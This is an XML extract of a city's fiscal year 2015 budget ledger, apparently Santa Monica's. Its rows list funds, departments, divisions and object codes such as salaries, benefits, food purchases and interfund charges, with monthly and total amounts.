<row _id="15487"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>577190.0</object><object_description>REPAYMENT OF LOAN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>630349.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>630349.0</total></row>
<row _id="15488"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15489"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="15490"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="15491"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555121.0</object><object_description>ASSFC PASS-THRU</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>203600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>203600.0</total></row>
<row _id="15492"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ST MAINTENA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-78160.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-78160.0</total></row>
<row _id="15493"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1596.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1596.0</total></row>
<row _id="15495"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-FIN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-876058.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-876058.0</total></row>
<row _id="15496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="15497"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18000.0</total></row>
<row _id="15498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404081.0</object><object_description>INTEREST - PROP 1B-SECURITY</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-10977.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10977.0</total></row>
<row _id="15499"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>407930.0</object><object_description>GARDENSOFT WEBSITE PARTNR FUND</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-3750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3750.0</total></row>
<row _id="15500"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511660.0</object><object_description>ADAPTIVE RECREATION/SPORTS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15501"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2191.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2191.0</total></row>
<row _id="15502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="15503"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>241271.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>241271.0</total></row>
<row _id="15504"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>314.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>314.0</total></row>
<row _id="15505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>887.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>887.0</total></row>
<row _id="15506"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9200.0</total></row>
<row _id="15507"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>578700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>578700.0</total></row>
<row _id="15508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>241.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>241.0</total></row>
<row _id="15509"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="15510"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>427.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>427.0</total></row>
<row _id="15511"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7698.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7698.0</total></row>
<row _id="15512"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1435.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1435.0</total></row>
<row _id="15513"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3600.0</total></row>
<row _id="15514"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>105.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105.0</total></row>
<row _id="15515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404082.0</object><object_description>INTEREST - PROP 1B-BUSES</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-43908.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-43908.0</total></row>
<row _id="15516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>378633.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>378633.0</total></row>
<row _id="15517"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5570.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5570.0</total></row>
<row _id="15518"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>377707.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>377707.0</total></row>
<row _id="15519"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8710.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8710.0</total></row>
<row _id="15520"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2018.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2018.0</total></row>
<row _id="15521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5450.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5450.0</total></row>
<row _id="15522"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>69313.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>69313.0</total></row>
<row _id="15523"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4072.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4072.0</total></row>
<row _id="15524"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3200.0</total></row>
<row _id="15525"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>955.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>955.0</total></row>
<row _id="15526"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>261.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>261.0</total></row>
<row _id="15527"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2088.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2088.0</total></row>
<row _id="15528"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>405220.0</object><object_description>MAIN ST-LIGHTS &amp; SIDEWLK CLEAN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-53220.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-53220.0</total></row>
<row _id="15529"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>406980.0</object><object_description>PBAD ASSESSMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-33641.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-33641.0</total></row>
<row _id="15530"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511010.0</object><object_description>ESTIMATED PAY RAISE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15531"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1447.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1447.0</total></row>
<row _id="15532"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1087.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1087.0</total></row>
<row _id="15533"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8540.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8540.0</total></row>
<row _id="15534"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1029.0</total></row>
